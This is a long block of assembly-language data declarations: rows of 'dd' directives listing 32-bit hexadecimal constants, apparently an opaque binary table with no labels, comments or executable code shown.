dd 0DE67C283h, 0EE07A181h, 0F4B5FCC1h, 18BA1021h, 248AC9F4h
dd 2CF0B123h, 133460D8h, 6300D004h, 0F8A4EF40h, 22CA929h
dd 6306166h, 0ACE0A631h, 350F8F12h, 296345Ch, 604B39CEh
dd 92A09910h, 92B9F884h, 0D0B60278h, 0B0249A3Dh, 82A1871h
dd 0D8094031h, 0C500C9A8h, 68A11547h, 7F9F101Fh, 0E080065h
dd 0D97A0C2Eh, 0EB0032A1h, 0AC6274A2h, 5B7E1004h, 711043C2h
dd 0DEA89397h, 0AF1FC38Dh, 83C995AAh, 92BCB3F0h, 0B7C41EDh
dd 9C9EE010h, 0EE9FA009h, 0D8C42Bh, 693D2207h, 3AAB27BEh
dd 0F01AF700h, 3554C92Ch, 0C79026F4h, 0BC2409C8h, 4CA810EBh
dd 0E4B4441Ah, 4A516B40h, 81C0B8C6h, 8103670h, 5E48AABDh
dd 0D0122C59h, 2216A832h, 8CC4BC1Fh, 0A700C4B9h, 198A0797h
dd 28727Dh, 30EE136Eh, 0BF512E3Dh, 42A67915h, 64F012B8h
dd 80A54823h, 1023823h, 7DFF689Fh, 6836BDADh, 816680BCh
dd 1E6149FEh, 0F79596h, 5370524Fh, 0F12672DBh, 253BBC76h
dd 247860E5h, 50B496C4h, 6E0EE68Ah, 5B1CE94h, 3000B2BDh
dd 5CF542DAh, 0E13E0750h, 7EDE11B5h, 0FE942461h, 13C686Ah
dd 0E048B142h, 54228B4Ch, 0F9BC804Ah, 6200DFAFh, 67BD1CF8h
dd 0E921B6Fh, 0F661CB4Ah, 0D4EE413Dh, 53C28B79h, 0B0225480h
dd 90B665A1h, 0AA42C0D9h, 0AF16A36Ah, 8C11622h, 0D21024B2h
dd 43009B5Bh, 0C6EA7750h, 1FF913E2h, 57613772h, 0DF890004h
dd 0CD10F295h, 0E8AC6A29h, 0F1397B01h, 67FC5F40h, 0D37D06A3h
dd 98EDE7CDh, 0C00EA417h, 652098h, 2FE36089h, 73C3D457h
dd 0ECB1D900h, 1141B93Fh, 5A10583h, 0F4406791h, 0F912CCC4h
dd 70A2C434h, 492E1022h, 4E11285Eh, 50320051h, 15580B03h
dd 0DF987ED9h, 0E7739321h, 1ABA8800h, 593B6C85h, 38D902ECh
dd 6AA80C6Eh, 0F4471474h, 15C010B7h, 210694h, 887FE872h
dd 65892B3Eh, 31D6D502h, 0D176B7C0h, 44901464h, 0E6B0C440h
dd 0B38EAB8h, 0CCE04CA3h, 0C9E80CA6h, 0F8B2F8F6h, 4F1F4144h
dd 796C88C1h, 5C428A4Ah, 0E0D64DF0h, 91C6D338h, 75CB80A8h
dd 0AB035B02h, 0D2908E0Ch, 45B94834h, 253420C8h, 0D1B5E28Bh
dd 9C44A71Ch, 0EF21CE00h, 0B7473781h, 7B6700EAh, 59F7C0AEh
dd 2F12B625h, 8013A2D4h, 2D47E868h, 20101070h, 0EF002502h
dd 90A24D57h, 95B3677Ch, 13653420h, 97179238h, 0CC89E43h
dd 994286A2h, 1E56B313h, 0C41F0940h, 4D000044h, 6B37F074h
dd 0D31906C5h, 6AE48839h, 98B98DFh, 0C66412D8h, 7A87D9Ch
dd 25656CF2h, 4563B01Bh, 4CF86BD3h, 31412E0Bh, 6A3884A3h
dd 0CE1D1300h, 2360BADDh, 3685A108h, 577C392Eh, 0CDF96280h
dd 9EFE9DF7h, 4F391700h, 219C3381h, 0FDDE0014h, 84C7C816h
dd 0B600321Fh, 0CE28A1DFh, 3875887Dh, 4A00CA86h, 0F031794Fh
dd 21DEEE49h, 7115BA0Ch, 0E5983CC0h, 0DB7FEF0Ch, 0DC107221h
dd 1063CD67h, 8788E82h, 1E14A800h, 0B15BEEFDh, 8CD5387Fh
dd 7C105D01h, 858F8398h, 8814EA29h, 23E0C203h, 4B2ED87Eh
dd 0EF960C9Ah, 0FD59D54Ah, 0A97C3B15h, 6F800030h, 849F8BF4h
dd 3C780003h, 0A731D50h, 0EC31B64Ah, 2DAE3994h, 5429C180h
dd 47D877FEh, 2CC5A00h, 6B34F7EBh, 73FF7B2Dh, 41E51C27h
dd 0C1955E4Eh, 84632E44h, 0D3B8E747h, 0B81417AAh, 5AE49A9h
dd 0CF54EF94h, 80917C08h, 0D60BA03Ch, 0CC002EFAh, 1381BB12h
dd 82F94Dh, 0BC21796Dh, 0F50FCD4Eh, 52EF9CA8h, 0CC49E461h
dd 0B18A291Ah, 80ACD811h, 783C9152h, 190C4F22h, 0A872CD60h
dd 106A0254h, 5CA42DDAh, 0E5281C80h, 0C150D968h, 48339BA4h
dd 3F358E6h, 0FAB87A71h, 10DEE5AEh, 5A38C100h, 0CD7F9764h
dd 4CFF5415h, 16C0A6E5h, 74E0AAh, 121C4F57h, 0B85048F0h
dd 7F189010h, 4928FB94h, 991138DDh, 2789610Ch, 480AA698h
dd 5410CC3Eh, 8B4D6B00h, 0C2B9E54h, 0FB113715h, 0B589D9C1h
dd 0B05298D1h, 5C772096h, 0DA01E3D1h, 1D814575h, 5894D82Ch
dd 57105CF1h, 583680E0h, 0D09C5EFFh, 0A6079C41h, 6349B59Dh
dd 19008782h, 0A2FA5706h, 0FF3A80h, 0F68B1AB6h, 9962FB9h
dd 3C394A90h, 9205BAD0h, 1440DF04h, 4D2A3580h, 0DD09486Ah
dd 4836EC0Fh, 19F382A0h, 942ACB30h, 2801B475h, 49D06838h
dd 0ACF09DD4h, 0B519C644h, 0A000B1CAh, 4B538FFEh, 24CBC36Ch
dd 3F0EE4h, 633D6ACCh, 0B10A0D4Ah, 0AC7F67FFh, 0FC739485h
dd 80E72408h, 6B293C8Fh, 0C001707Fh, 3FAB135Bh, 74C481E9h
dd 179CA495h, 1FA847FDh, 0F0D0F718h, 822D1475h, 0BAD40654h
dd 35ACF054h, 427F7E00h, 18DA58AAh, 0D4D4A057h, 5A311C48h
dd 0FFF3C0B5h, 0A5F7B116h, 39BD4212h, 41FAC00Ch, 0DAB70006h
dd 0F5D724Ch, 0B93A6F0Bh, 804CC8CCh, 0A0FA2E48h, 0F84C12A2h
dd 5ACB0A7Ch, 72410E74h, 8CB43072h, 9C00FCC3h, 0DA38A4Fh
dd 67FDE2h, 3EC605BAh, 2E65371Fh, 0DF0CFF00h, 0B7599C38h
dd 0D3C81E2Dh, 7398EA11h, 7F00Eh, 3457606Bh, 0B69C3F48h
dd 43BB7E03h, 0A56EC5B7h, 725184Bh, 5F40F799h, 1BA69Ch
dd 0D4195AC9h, 62739A55h, 0EFA27204h, 0CC85648h, 0AB9A8888h
dd 0B560E600h, 0E10E0A17h, 0BDF60357h, 9337D90Bh, 2A5C7BA0h
dd 0E8105A29h, 0FB0A3A07h, 96016750h, 559A00BEh, 92185B2Dh
dd 5906815Dh, 0D6A79498h, 0F2E1431h, 7C00E440h, 432CF93Fh
dd 0D3627094h, 445DFF21h, 0CF40A184h, 0E0353811h, 0CC60B6ADh
dd 5C75C8B9h, 4A403B6Fh, 0AFF6D682h, 0F940E683h, 41E837FFh
dd 8AAA81Dh, 24A7EF83h, 0E253A197h, 13CC418Ah, 9D41CEECh
dd 24DA5311h, 688AE954h, 382490AAh, 2900878Bh, 60AB0814h
dd 0CC71C123h, 0A94A1635h, 46A93444h, 813BAFC1h, 4C940970h
dd 0E2807CA6h, 0B748ECFFh, 0D600A891h, 0A2595B92h, 17771ADh
dd 6DEB7A90h, 0E8244D4Eh, 130221D1h, 71911702h, 5A8891CAh
dd 694CD0D8h, 640268FBh, 0A4997491h, 86A80C65h, 8788E8D0h
dd 0BA1373C1h, 32A17818h, 0D83041DBh, 1600502Ah, 37249BEBh
dd 448CB07Bh, 6800F887h
dd 17232E67h, 0D6708Eh, 0E6807BF0h, 19332012h, 0CC43590Eh
dd 0EF61F818h, 0F9D3634Bh, 49018582h, 0B26236D9h, 53FC24EDh
dd 0C0D51D71h, 7DD4C02Dh, 0ED85CD2h, 7A948E14h, 4212C0A4h
dd 318E0A8h, 0FC1C8252h, 0F8216636h, 0F9A60886h, 80FCB594h
dd 4781DA2Bh, 0FECC06B4h, 9844BB4Eh, 1A6EDB44h, 308CC1DAh
dd 0F48B9440h, 0A0C2698h, 51C57391h, 42351A9Ch, 44705Dh
dd 0A11CBA30h, 0BE31F0h, 0B5804B15h, 3D2F6295h, 0CA433A00h
dd 2A3EAAF7h, 7B940B14h, 0B431CCB3h, 840D0C7Eh, 0CD524CF8h
dd 8F229Ch, 31BAA921h, 2E93DC15h, 0E9BF1E2Ch, 7021191Bh
dd 0CA3416C0h, 0B97C0A82h, 4D6A010Ch, 64DA9A88h, 0D7601114h
dd 0C30974D9h, 435F16C8h, 767830F9h, 100AF81h, 0FF6C4194h
dd 1BE457h, 8822F1FDh, 0DEE385FAh, 0B4B64929h, 0B9409500h
dd 704D64Eh, 0D0E7B14h, 0FFD706Eh, 62012DBDh, 0D9646718h
dd 1032119Bh, 1237A800h, 0E0FA613Eh, 0BC2E7036h, 0A4FC00B9h
dd 0AF014AF8h, 0A7002916h, 0CD7E64E3h, 0BAA20C1Fh, 94920138h
dd 0D7FAE77Fh, 9898472Ch, 0B2A4E680h, 0AB7EDAh, 56D7B395h
dd 8106E443h, 962C9104h, 4C8C2E5Dh, 0A6501A3h, 0BF3A1318h
dd 0CDF6C036h, 7324A200h, 824F1D4Ah, 423D2851h, 9D793EE4h
dd 9728B12h, 281A54B0h, 43D4B004h, 807A0FBDh, 14126166h
dd 0CC2C7E7Dh, 0C42AC6A2h, 4CA27829h, 9B783Dh, 84228CA2h
dd 3A8E442h, 0A4C037BDh, 69A89904h, 0DC0A3862h, 44DDE66Dh
dd 10E21032h, 2A6115CCh, 9D1BC161h, 30CA7092h, 2DB40CFCh
dd 0E51F08C1h, 19C8DC72h, 507CB0F9h, 15A14CDh, 0AFE9E6C0h
dd 0D09D4D7Dh, 84984986h, 0D8B898ECh, 8F11621h, 7581DB51h
dd 85E4A8A6h, 6FE3F430h, 0D81451E1h, 89754B80h, 8003BA3Eh
dd 6F32236Dh, 3DB0970Ch, 0BFA69Eh, 2F789D46h, 71A94D62h
dd 0F52EE401h, 0D0B56836h, 0A5AE6987h, 627C0DFh, 5C1FCD44h
dd 0DA474983h, 0E5C1DB9Ch, 68D1C133h, 16CC6E6h, 0AFA53FA4h
dd 0D81AD2F8h, 8400AA7Eh, 6EEB6A6Dh, 13737DC0h, 19987C3Bh
dd 182C83Ch, 0B501DE87h, 0F68180E3h, 778A86Ah, 1225029Fh
dd 7EEE77B1h, 0FD0030C4h, 5AD8B521h, 75C15BFh, 0F4A256Ch
dd 0C7CCC472h, 0CB96B210h, 0A900B853h, 0BB08849Ah, 476124C3h
dd 0C8210478h, 44A2DEh, 34350FDAh, 514E4724h, 1430F079h
dd 582B5D5Ch, 8C8EEF00h, 5BCC49AAh, 0F950BF12h, 0F06E3C0Ah
dd 0A936FD60h, 0E76A0197h, 0AEFAF757h, 0CC21A3EEh, 1DA99240h
dd 0D1113742h, 8F0C6749h, 0BC3BBAC0h, 0D0008425h, 0FFC7F25Eh
dd 0C01936E0h, 0CDACCCC0h, 0F1D2B615h, 0CA75E48Ch, 1D88AB20h
dd 0BD586087h, 479D1984h, 19827A39h, 0B1814EC1h, 9B638060h
dd 8C80E496h, 0C524FDE8h, 17CC262Dh, 325164BCh, 0EC00120Fh
dd 73AC90EDh, 0D28CE148h, 80D94880h, 0FB88A117h, 697BA610h
dd 0F02C9500h, 0CFD1ECA0h, 7C3C160Eh, 0B88414E9h, 70A9A0D9h
dd 7F023518h, 9D5D2E4Ch, 0D1D08680h, 548F081h, 99E9FFE7h
dd 94901D0Fh, 7F3080C8h, 1C4EC449h, 49EE7304h, 2890A22Eh
dd 650EA16h, 0B566DC96h, 6100D9CBh, 9C1C7E98h, 0FDF36h
dd 580A9785h, 0C134EC6Ah, 83F92925h, 0A9F03A9Ch, 0AE119766h
dd 0A9718019h, 5B1A01B7h, 78880734h, 40049CF7h, 0B05A20BAh
dd 0CFD02F5Ch, 8040DED5h, 0ED705369h, 442E008Ah, 0B5B25D2h
dd 9F091D2Dh, 42AC4CBFh, 135C98F4h, 0B5C20084h, 0BC54468Dh
dd 0B805A89Dh, 8749475h, 6C40E894h, 2667EA87h, 9185002Fh
dd 45B4EB49h, 62314FCCh, 46EF5A20h, 0C228020h, 8161FF11h
dd 71489469h, 600F9FF8h, 28D89293h, 6E981D47h, 3B71C302h
dd 90294D78h, 0E50388BAh, 0B09E4A63h, 0D83617h, 0B2D1E24h
dd 9DA57049h, 5FFF520Bh, 1B10AB8Bh, 30F188B4h, 43E90026h
dd 76B81312h, 870C88D0h, 0F0B634F0h, 9CBA4C6Dh, 8EAE9480h
dd 7E057680h, 2FD81E8Dh, 3BB8CCC0h, 0C8B9488Ch, 0E1309680h
dd 0D1004F5Fh, 3C6EF3Ch, 48042147h, 29221CC5h, 402D6137h
dd 609A4DA2h, 89DA7A5Ch, 97CF10DEh, 666817D0h, 0E6400842h
dd 270ECC85h, 8BDAE8CCh, 8FF4AFD9h, 0A0C79D89h, 0B783B547h
dd 75960187h, 7CBE534Ah, 0E0CB5461h, 5A00DD98h, 6F2468CDh
dd 90424877h, 69308038h, 6F63C72h, 17BC1F24h, 5B1C01E8h
dd 80D1B5C3h, 35F31579h, 1E89D9B4h, 716C50h, 6B267330h
dd 0B03E3DE1h, 0FA2F8549h, 74C9AD90h, 0A498CC03h, 4C494100h
dd 297C9DF7h, 813B5E34h, 6758C030h, 0DFBC3B9Eh, 6BC89A00h
dd 0B1E068D9h, 9BCECB04h, 2EF9D48h, 14CC0416h, 9C006089h
dd 1EEC7BB4h, 0C051FA12h, 0A32CC8h, 8E2C9832h, 6785EF06h
dd 81786204h, 5E831869h, 0E05858D9h, 4DEFDC0Bh, 0D8358849h
dd 0E100BA74h, 0AD220142h, 1AFF60A6h, 0B9268F5Bh, 0E800287Ah
dd 0E7DC1022h, 10E3853h, 0A6DFF8F3h, 4C68E658h, 94996934h
dd 0B9AA3B00h, 0FBEF99C6h, 49C7543Ch, 4771D026h, 0E50044C9h
dd 7018E1D9h, 13541E6Ch, 7741FFh, 465A02E5h, 0E4009958h
dd 6671E557h, 0FBB812h, 64FA4116h, 0DC73A760h, 852BEB03h
dd 373E6CE0h, 4C944651h, 0EB6F8A38h, 6E708008h, 1BACFD5h
dd 3B6A8635h, 80D4FE50h, 0B020FB29h, 7B81796h, 0CD52D213h
dd 10074742h, 88D1C987h, 185E1C00h, 75954F11h, 0B7BA1866h
dd 0EBFE90F5h, 0F6D749C5h, 0DF4CC900h, 0A0A305Bh, 0D369463Ah
dd 4CEC1148h, 0F81224E0h, 78A4B101h, 0ABD4C59Ah, 0D1C23FA9h
dd 0D147D018h, 56011602h, 0AB8E9909h, 80E7BB9Eh, 683B3E7h
dd 0FE6FEDF0h, 7A0061D8h, 85B44D9Dh, 1F5E3419h, 0CC77E910h
dd 6179DF6Ch, 6271EF00h, 0C4A66DDAh, 0FEDC3E3Dh, 1575B4D4h
dd 0A0D0BE12h, 255CA07Ch, 202B07EEh, 0E3F80B1Dh, 90E08CE3h
dd 0EF051701h, 0FE02DF3Ch, 3403A1C4h, 1EBB64F5h, 41598549h
dd 0D3627F78h, 0AB02CCA0h, 0E2ED8018h, 60F961h, 8C0D484Dh
dd 0F61D899h, 49D049C7h, 0CCF0048h, 8E123CBCh, 7A5E3E00h
dd 0B073A64Ah, 6702249Bh, 60D86110h, 3E2042E6h, 0E36F7422h
dd 0A9A9DB90h, 1847BA5Eh, 38008AF5h, 45754E24h, 9FA5018Eh
dd 0B972CCCFh, 0B71060C4h, 2CB2A901h, 48D0E85Eh, 0EFAF5984h
dd 0D28C01Eh, 0AC014F2Fh, 0BA0A803Ch, 2C408185h, 0F492ED26h
dd 0F3C800D7h, 8A05AE9Eh, 8205B1BCh, 63DF7410h, 88C411h
dd 76C498B7h, 0F24E1E16h, 61D600D1h, 0BC4B1083h, 0E7242906h
dd 539348DCh, 46DE5A01h, 41BC196Ah, 924CA548h, 97F4157Fh
dd 0D900F08Ah, 2E90D275h, 0D829DCEAh, 1200D85Dh, 0AB03200Eh
dd 156C91BDh, 0D834E0EBh, 3FA82224h, 71D47F20h, 75A803FAh
dd 0D264E603h, 7CED313Bh, 5ED83D0Eh, 0C0E49526h, 22ACCEBFh
dd 0DA6D00D6h, 0FF581216h, 3E009C4Ch, 0E5547565h, 0CE075DE0h
dd 27D24631h, 5168C670h, 67F653F8h, 0F13C2C07h, 0C94C624Ah
dd 897860C0h, 1DB6F785h, 0BA094977h, 1E198605h, 70510070h
dd 0AF8FB6F6h, 538C252h, 364980DAh, 8448AA6Ch, 0FDBA05C6h
dd 4077F4D6h, 0BFE94E1Ch, 600500Eh, 69841052h, 2E450BE4h
dd 6D0C413h, 71D864BDh, 16CAB0Fh, 8EED203Eh, 1DA782EFh
dd 9247147Ch, 20C404D1h, 0B14DCE2h, 0F34CA300h, 0B28E5F73h
dd 81DB17F5h, 0E8FF0AA2h, 0E8D1164h, 806F6A10h, 2A9060B4h
dd 0F7C10033h, 9E4EECEBh, 0AA02F6B7h, 0CA644F7Dh, 7A384640h
dd 0C3E00032h, 8CD3DB56h
dd 0EE1295C1h, 240EF9D0h, 0DC408086h, 189F7D65h, 39CEFEDDh
dd 64314E75h, 2B9E89DEh, 98D601FCh, 20A702FCh, 71A6986Dh
dd 6453D460h, 543D2EFEh, 0D8902A94h, 6A47610Ch, 52E0F943h
dd 5001F065h, 0C81297ECh, 0FC61A4E6h, 0B808A213h, 0B02B80EAh
dd 3EA35906h, 1105B109h, 0FE6018DEh, 2C29C0D6h, 0AC64131Bh
dd 9C532924h, 6046E903h, 0F9210CDCh, 0D792CC9h, 7A2DE601h
dd 0C40F2E10h, 7A556060h, 357205D8h, 538EB909h, 0A23C0088h
dd 88AC65EAh, 0CCEF8300h, 0E5A0C448h, 9D4F09D0h, 0B787F3DAh
dd 34D1C067h, 0CCFBB4FAh, 2CF2C4D5h, 54CB0204h, 0A387AF11h
dd 63F3605Fh, 0E92A438Eh, 7B534086h, 0B4F8488Dh, 0B0F61900h
dd 0EC694061h, 2FF00003h, 6BB1D1DDh, 609F4326h, 3BDC5B3h
dd 0C33D1916h, 893C5A6Fh, 1E49EF52h, 3C2ED780h, 683EB8Bh
dd 0D2229712h, 0A500219Ch, 981C6D25h, 0C05D74C3h, 449A6441h
dd 8230E740h, 249530D8h, 0F53E1CC4h, 43C7ABDh, 0BCA13D79h
dd 3083F29Ch, 0B9819E21h, 261B3018h, 520410h, 737B48C3h
dd 0B308A12Ah, 1B060A0Ch, 0B212Bh, 0BB5FC9DDh, 7D91679Ah
dd 0D700937Bh, 251285B3h, 0C64CF3h, 0AD9BC4F8h, 35C08CF2h
dd 6B53A31Ch, 0FB68837h, 7FC41E08h, 0C8007D22h, 0D4B69C3Eh
dd 60007DC2h, 0EB2C6A9h, 65B1F57Eh, 18F3C1F6h, 541BB9E4h
dd 687E91C0h, 11C25Bh, 3D982808h, 7F03FD3Ch, 3528C3Dh
dd 1B0109B2h, 0CE31003Fh, 4D58A99Dh, 0F9002AF8h, 4A3382F2h
dd 6087F3E0h, 48A46101h, 840C6625h, 0B12C413Dh, 3B82300Fh
dd 44BF4349h, 0CC53A418h, 35C1AA1h, 98E2D0BAh, 83C9C3E9h
dd 0B3E06F44h, 9C59C2FCh, 37612B35h, 1CD541A4h, 9F51802Ah
dd 0B29112D3h, 0C7B40471h, 0C7418EE8h, 0EA0720C5h, 0E026467h
dd 0A136614Dh, 3D448749h, 0DE40A86Ah, 60AD4E7Ah, 0CEB31105h
dd 9200066Eh, 0FB731A4h, 0C6C3FA80h, 0B9CB5338h, 0A2009D76h
dd 0DA39C4EFh, 1F9B4648h, 0C0F5834Ch, 0FD89BBA4h, 0F8777259h
dd 25427900h, 243B21BEh, 0D980F526h, 9DF451E3h, 0DF480197h
dd 0E098003Ch, 234B7942h, 29FE6029h, 8B55456Eh, 9ED1903Ch
dd 0ABCC4103h, 0C6B108h, 71379287h, 0FFD1230Ah, 0D9FA0B7Bh
dd 0F9BA4502h, 40DBB14Eh, 4948FC30h, 9603344Dh, 0D7C1D43h
dd 256EA006h, 18719329h, 0E9F25308h, 0CD003F09h, 61B49F0h
dd 729F4Ah, 10FCED8Ah, 0E5DC6C0Dh, 1B390567h, 0AC00902Eh
dd 89CC7801h, 4F01EE8Ah, 4E71239Ch, 0A843A5D9h, 2C297325h
dd 0F33CA8Eh, 66E1A045h, 0FC2C37DCh, 0D0002044h, 0A3EE7182h
dd 490383B9h, 0F50CAC0Fh, 0F3A1C7A4h, 64948B52h, 0E95AC318h
dd 0DA02D818h, 0E8D37F05h, 41828E20h, 0A41C8085h, 3C099BC6h
dd 35A4DBB4h, 27450113h, 8AF1BAF5h, 0B809AD41h, 5B3B8880h
dd 1562CCCh, 0A3BEE7AFh, 800EAD79h, 428A2121h, 0E38E70h
dd 0EA60AA19h, 0B555992Ah, 1538F948h, 7B80381Ch, 8C58FD00h
dd 0B9CA9612h, 0DB100369h, 1473DE7h, 9ED85101h, 0B053ABBBh
dd 602930F8h, 2D86B9F0h, 0E004E80h, 0E9C9BB7Ch, 0E62571h
dd 0CF7824EAh, 0BF61A1ECh, 0AD58790Ch, 0F395104h, 7CCE411Bh
dd 3D7FB9C2h, 26DB0BC0h, 0AA3E21C0h, 68EA5BBh, 29CA214Fh
dd 5F7019F5h, 6DE8E300h, 2237EAAAh, 0CDD701DCh, 2996ADA0h
dd 0A62987FFh, 13F1112Eh, 0CB3195B1h, 1DFB4991h, 91002750h
dd 0A8CE8E42h, 8D09046Ah, 0C00D8139h, 0BFAA8018h, 0A4304789h
dd 0F3BD882Ah, 1107B100h, 15FC2ED5h, 770E3AD7h, 0E7178087h
dd 7A0F0209h, 4A3D1881h, 29D98C0Dh, 1181FDh, 5691596Eh
dd 8F3F3ADDh, 6AD3818h, 4F9229h, 6A13FB7Ch, 0F5A1829Ch
dd 0D7AE8D13h, 0F9EEF830h, 31DA1C8Bh, 4DA340DCh, 331B0951h
dd 0A9DC8289h, 5E80005Ch, 344BF9E8h, 48321C3Ah, 60C7D9CCh
dd 8403A7D4h, 0EF48A20h, 3A5A78A0h, 860B6180h, 4801D646h
dd 0EC333976h, 4EE0F919h, 618C0023h, 41123A4Fh, 0F10013E3h
dd 6742F3AEh, 6437F2h, 0AA69854Dh, 5B700483h, 302EB736h
dd 1D4C4460h, 0B1305D00h, 4DD8B57Dh, 183C6438h, 1ED8804Fh
dd 0AB13E970h, 0A0045F8h, 0A1397A78h, 3F383062h, 0D18E7929h
dd 469B1400h, 943E0DABh, 90D907EFh, 16231C17h, 0D500A999h
dd 84D875C3h, 639797Bh, 0E956552Bh, 0B730218Bh, 2C95A152h
dd 13F50738h, 509D44F4h, 1BE32F7Dh, 0A198B903h, 0A05357ECh
dd 3222272Ah, 5A41594Eh, 7A8B7D20h, 0FB040092h, 56A194C4h
dd 69C26DB6h, 0F50DC91h, 44232801h, 4018825Eh, 9167D052h
dd 31809780h, 1684834Dh, 19064907h, 5779F5B5h, 0C3930041h
dd 0A34133D5h, 0DA3B4CE4h, 76E87044h, 5601A40Eh, 0B06880F9h
dd 79529992h, 589D61D1h, 80601669h, 77266CB1h, 0C05378A4h
dd 0DCBDB059h, 5C009E04h, 518ABBFDh, 19D2176Ah, 0D0619BB8h
dd 44DE085Ah, 400AF58h, 21D0FC05h, 73B020F9h, 705562B4h
dd 6521351Ch, 0E9809938h, 26931F9Ah, 0F57C8D62h, 36193E67h
dd 28D88950h, 0F0C279BBh, 302714B1h, 4E22A09Bh, 720CAF00h
dd 3F6738D3h, 102648A9h, 0C0806B88h, 33FA8F3Dh, 54D50075h
dd 0A8658CADh, 4EF2688Eh, 5CE79E14h, 0DD228084h, 14DAFB3Fh
dd 0D4DB9129h, 0B79B1C80h, 60C7257Fh, 0C407CF01h, 8F08880Ah
dd 1816115Ch, 0C9514DB7h, 0C1C032Bh, 0F47CEEE3h, 6EF9A80h
dd 0BEE6970Bh, 8B838012h, 7EA6DE44h, 0CC520969h, 249FCBh
dd 92E74095h, 3B9B09BCh, 4187EC2Dh, 0D09A7E85h, 3F940CA3h
dd 0C356200Ch, 3A4319Eh, 9C80DA65h, 0C17CD252h, 20C15ECh
dd 298D2353h, 272E0F2Fh, 0EFC0DC19h, 479E46D2h, 0B0CD5000h
dd 0FAD0ED4Eh, 176818A2h, 4078D14Bh, 3E2651C0h, 0D2B0A9h
dd 0D9B744ECh, 0C10E3898h, 8F4EBC28h, 69C02377h, 368ED6ABh
dd 1486E8A7h, 0ACE0913Eh, 4075D094h, 29C1A760h, 0B7566840h
dd 911ADC22h, 4C8281D3h, 0DC4340BCh, 12101EA5h, 76741969h
dd 4298ED6Ah, 0D22FFAA4h, 440405Ah, 1B5F3F88h, 0F8E44119h
dd 0B00448B1h, 2CC6509h, 0D14EFFEh, 59C011D7h, 0D83D04EAh
dd 4B0A13EBh, 0C7F88430h, 293301E6h, 9E806C5Bh, 7A1D6069h
dd 0FA9D6D00h, 63993D15h, 3F0C2475h, 515A1188h, 4ED408CCh
dd 7C5EAB01h, 55E19166h, 22AF198Ah, 0B2A40078h, 0C5F88AB4h
dd 0EC9B7D2Ah, 871F75E2h, 5C80B528h, 7FE89FAFh, 1FA0006Eh
dd 3EE3146Bh, 3D613807h, 0A2254469h, 723FFC30h, 881A05E9h
dd 40D238B4h, 0FB409A9Ch, 43262FD0h, 443E942Bh, 8004913Fh
dd 0FBDBF206h, 0B471CE46h, 0E308151Ch, 0D8C09683h, 0D29AFB0Dh
dd 8E94841Ah, 9D39B340h, 1B00FBEEh, 80382F72h, 367328h
dd 0B0D9DCA9h, 9498DA3Bh, 1FC86560h, 14059E8Eh, 8851D491h
dd 363F9A81h, 4EB7C886h, 542FA4A8h, 59D88B00h, 6EBD78C6h
dd 0A69D0728h, 0C0258626h, 1D6DFF77h, 4E4C761Fh, 60ACD740h
dd 0A235B8Bh, 525120B5h, 514418DAh, 71C13F78h, 0DE8E91E2h
dd 3459AD4h, 8289F9A8h, 64F0500Ah, 94909099h, 7AD86045h
dd 0D8912833h, 9558A120h, 3864B712h, 0BB077700h, 0ADD8F533h
dd 56600A9Fh, 111492E8h, 3EEF0059h, 32B1FDAFh, 74784CC4h
dd 9B131CC3h, 0D6403102h, 451D6915h, 63DF80D8h, 7E5A23D5h
dd 3369D603h, 0D7357D01h, 0AB0B3B00h, 0B6AD289Ah, 961501B8h
dd 523F8CE0h, 0D2033CDh, 7823FFB7h, 5823D6F1h, 18683F09h
dd 0CE86180Fh, 70A31939h
dd 38085CA4h, 8931803Dh, 0C5700AF9h, 13A1AD00h, 0F3B0C3CBh
dd 615C8Fh, 0B2D378C0h, 0D4006A3Bh, 9C9B56F6h, 7BD230Ch
dd 0F5D269B3h, 99AF40A3h, 0E09015EFh, 0A919C44h, 0B89B1EAAh
dd 0D0070040h, 4AA7E81Bh, 0D991400Ch, 6038C13Eh, 0FA257164h
dd 0CC03ECD6h, 23EEF207h, 92583B62h, 84A3DA83h, 33AF690Bh
dd 481AE8A2h, 61F82EA4h, 0D0104D48h, 72014149h, 7B169B45h
dd 103222B0h, 7877E00h, 9C5C4D2Bh, 0C4CCB300h, 0E74B6B66h
dd 0A56013Dh, 1CFE4AF6h, 86A05122h, 59780152h, 97D56180h
dd 1D660AC4h, 5D486DFAh, 53D21034h, 0D69C6292h, 9940DA10h
dd 0E09A806Ch, 6C08EC4h, 81965138h, 13DDBAFDh, 7070B1EDh
dd 15692453h, 11044A40h, 0E3BC5133h, 22F45043h, 26EC60h
dd 7F6C97C7h, 381BEE9Ah, 99294360h, 0A6C8FEh, 0DCAEBA23h
dd 0DB793EE2h, 98203469h, 2DE51FCh, 0BE740AADh, 0CA80679Ch
dd 0E03C986Eh, 7E50EC98h, 0A20F3A44h, 211693BFh, 571568B0h
dd 0C4800112h, 0AEFD729Bh, 1CB04070h, 3830987Ch, 646E4166h
dd 7B517A72h, 3B5000B7h, 43F067F7h, 0DB00A2A4h, 617D805Fh
dd 0BA6CE5A0h, 4F2B2B00h, 485280C8h, 7D14DF29h, 17EF0E00h
dd 3B9A1D3Ch, 0F033F569h, 0C2A4CF24h, 0D3222656h, 0E19A213Dh
dd 903CC805h, 4301BC98h, 0C2B09278h, 8C23655Ah, 0F49CB403h
dd 3E803664h, 0FA3DCB37h, 0AC3D2C62h, 8063C539h, 80C6D81Fh
dd 9821CB42h, 0BD014004h, 7A898D79h, 0A0C8DEE8h, 4E5705ECh
dd 5E62A4h, 0C302E0ACh, 0CCA611CEh, 14294900h, 0B4B9D664h
dd 54D7000Ah, 3FB29A37h, 3340FF79h, 44BA5C56h, 0AD01AB80h
dd 0E82A4412h, 0CB22E0B0h, 1169145Bh, 0AD80D854h, 84F5D1BAh
dd 0EBD4BB0Fh, 86302945h, 3051B31Ch, 60599323h, 0E800A08Fh
dd 0FAD3A2DBh, 4397C5Fh, 8CD6FF7Dh, 52C8824Eh, 3F51AF20h
dd 3B69F628h, 38D42E1Eh, 0C4C73AAEh, 0E70FAF03h, 0A1846AF1h
dd 3A344284h, 0E21D4720h, 22A8904Bh, 18986CDDh, 47116CB9h
dd 21F3C50h, 7ABDCBA9h, 618B15h, 65421740h, 138C6C7Eh
dd 1411B003h, 400408E4h, 47683810h, 0AFE07907h, 7CF8C2h
dd 0C402FA6Eh, 3560D97h, 0A3E914A8h, 15D3700h, 1CACA783h
dd 0D2AE0E6Ch, 0E804F0EEh, 814E4936h, 97BE56F0h, 6193442Ch
dd 2989B7A8h, 0CAD0570h, 94019992h, 9B4DE0DCh, 373F8441h
dd 439BF01h, 0E000C4A2h, 3E6A108Dh, 0E33E11ADh, 89908D03h
dd 28D33940h, 441CEC70h, 697C8037h, 5F708102h, 664DAF01h
